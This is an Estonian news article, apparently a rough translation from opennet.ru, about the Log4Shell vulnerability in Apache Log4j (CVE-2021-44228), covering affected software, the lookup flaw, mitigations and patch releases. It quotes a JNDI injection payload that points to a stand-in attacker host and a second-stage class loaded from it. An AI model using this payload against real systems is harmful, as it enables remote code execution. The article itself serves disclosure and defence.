Apache Log4j katastroofiline haavatavus, mis mõjutab paljusid Java projekte

Java-rakendustes logimise korraldamise populaarses raamistikus Apache Log4j on tuvastatud kriitiline haavatavus, mis võimaldab käivitada suvalise koodi, kui logisse kirjutatakse spetsiaalselt vormindatud väärtus vormingus {jndi:URL}. Rünnaku saab läbi viia Java-rakendustele, mis logivad välistest allikatest saadud väärtusi, näiteks kuvades veateadetes probleemseid väärtusi.

Märgitakse, et probleem mõjutab peaaegu kõiki projekte, mis kasutavad selliseid raamistikke nagu Apache Struts, Apache Solr, Apache Druid või Apache Flink, sealhulgas Steam, Apple iCloud, Minecrafti kliendid ja serverid. Eeldatakse, et haavatavus võib kaasa tuua massiliste rünnakute laine ettevõtte rakenduste vastu, korrates Apache Strutsi raamistiku kriitiliste haavatavuste ajalugu, mida umbkaudse hinnangu kohaselt kasutab veebirakendustes 65% Fortune'ist. 100 ettevõtet, sealhulgas katsed skannida võrku haavatavate süsteemide leidmiseks.

Probleemi süvendab tõsiasi, et töötav exploit on juba avaldatud, kuid stabiilsete harude parandusi pole veel koostatud. CVE identifikaatorit pole veel määratud. Parandus sisaldub ainult log4j-2.15.0-rc1 testharus. Haavatavuse blokeerimise lahendusena on soovitatav määrata parameetri log4j2.formatMsgNoLookups väärtuseks true.

Probleemi põhjustas asjaolu, et log4j toetab spetsiaalsete maskide “{}” töötlemist logi väljundi ridadel, milles saab täita JNDI (Java Naming and Directory Interface) päringuid. Rünnak taandub stringi edastamisele asendusega "${jndi:ldap://attacker.com/a}", mille töötlemisel saadab log4j LDAP päringu Java klassi tee kohta attacker.com serverile. . Ründaja serveri poolt tagastatud tee (nt http://second-stage.attacker.com/Exploit.class) laaditakse ja käivitatakse praeguse protsessi kontekstis, mis võimaldab ründajal käivitada suvalise koodi süsteemi praeguse rakenduse õigustega.

1. lisa: haavatavusele on määratud identifikaator CVE-2021-44228.

Lisa 2: Leiti viis, kuidas väljalaskega log4j-2.15.0-rc1 lisatud kaitsest mööda minna. Välja on pakutud uus värskendus log4j-2.15.0-rc2, mis pakub haavatavuse vastu täielikumat kaitset. Kood tõstab esile muudatuse, mis on seotud ebanormaalse lõpetamise puudumisega, kui kasutatakse valesti vormindatud JNDI URL-i.

Allikas: opennet.ru

Lisa kommentaar